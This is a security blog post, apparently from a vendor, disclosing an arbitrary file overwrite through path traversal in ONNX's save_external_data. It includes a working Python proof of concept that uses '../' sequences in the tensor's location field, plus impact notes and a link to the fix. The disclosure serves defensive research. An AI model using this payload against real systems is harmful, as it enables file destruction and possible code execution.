Skip to content
CVE-2025-51480: ONNX Arbitrary File Overwrite in save_external_data

CVE-2025-51480: ONNX Arbitrary File Overwrite in save_external_data

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO1 min read

Key takeaways

  • The library’s save_external_data function allows arbitrary file overwrite through path traversal.
  • external_data field, specifically in the location value
  • Attackers can overwrite any file the process has write permissions for

Original finding credit#

We weren’t aware of the first finding posted on Huntr, and happy to retrospectively credit Micheal. Edit made on October 14th, 2025.

Description#

The library’s save_external_data function allows arbitrary file overwrite through path traversal. This allows attackers to craft malicious tensor data with specially constructed external_data paths using ”../” sequences to escape the intended directory and write to any location on the filesystem where the process has write permissions.

The vulnerability exists because the function does not validate or sanitize the user-controlled path before writing files. This vulnerability is similar to CVE-2024-5187, which affected the download_model_with_test_data function, but impacts a core functionality of ONNX.

Source-Sink#

  1. Source: User-controlled input in tensor.external_data field, specifically in the location value
  2. Path: The save_external_data function in external_data_helper.py
  3. Sink: File write operation at path created by joining base_path with user-controlled location:

The function directly joins paths without validating, allowing path traversal via ../ sequences.

PoC#

<code class="hljs language-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> onnx
<span class="hljs-keyword">from</span> onnx <span class="hljs-keyword">import</span> TensorProto
<span class="hljs-keyword">from</span> onnx.external_data_helper <span class="hljs-keyword">import</span> save_external_data

<span class="hljs-built_in">print</span>(<span class="hljs-string">f"ONNX version: <span class="hljs-subst">{onnx.__version__}</span>"</span>)

os.makedirs(<span class="hljs-string">"/tmp/secure_data"</span>, exist_ok=<span class="hljs-literal">True</span>)
os.makedirs(<span class="hljs-string">"/tmp/model_workspace"</span>, exist_ok=<span class="hljs-literal">True</span>)

<span class="hljs-comment"># sensitive file</span>
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">"/tmp/secure_data/credentials.txt"</span>, <span class="hljs-string">"w"</span>) <span class="hljs-keyword">as</span> f:
    f.write(<span class="hljs-string">"api_key=secret123456789"</span>)

<span class="hljs-built_in">print</span>(<span class="hljs-string">f"Before: <span class="hljs-subst">{<span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/secure_data/credentials.txt'</span>, <span class="hljs-string">'r'</span>).read()}</span>"</span>)

<span class="hljs-comment"># model with path traversal</span>
model = TensorProto()
model.raw_data = <span class="hljs-string">b"EXPLOITED"</span> + <span class="hljs-string">b"X"</span> * <span class="hljs-number">10</span>

location = model.external_data.add()
location.key = <span class="hljs-string">"location"</span>
location.value = <span class="hljs-string">"../../../../../../../../tmp/secure_data/credentials.txt"</span> 

position = model.external_data.add()
position.key = <span class="hljs-string">"offset"</span>
position.value = <span class="hljs-string">"0"</span>

save_external_data(tensor=model, base_path=<span class="hljs-string">"/tmp/model_workspace"</span>)

<span class="hljs-built_in">print</span>(<span class="hljs-string">f"After: <span class="hljs-subst">{<span class="hljs-built_in">open</span>(<span class="hljs-string">'/tmp/secure_data/credentials.txt'</span>, <span class="hljs-string">'r'</span>).read()}</span>"</span>)
</code>

Running this code will overwrite the content of /tmp/secure_data/credentials.txt with “EXPLOITEDXXXXXXXXXX”.

Impact#

  • Attackers can overwrite any file the process has write permissions for
  • Could lead to RCE by overwriting script files, configuration files, or SSH keys
  • Sensitive files can be corrupted or destroyed

Fix: https://github.com/onnx/onnx/pull/7040

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.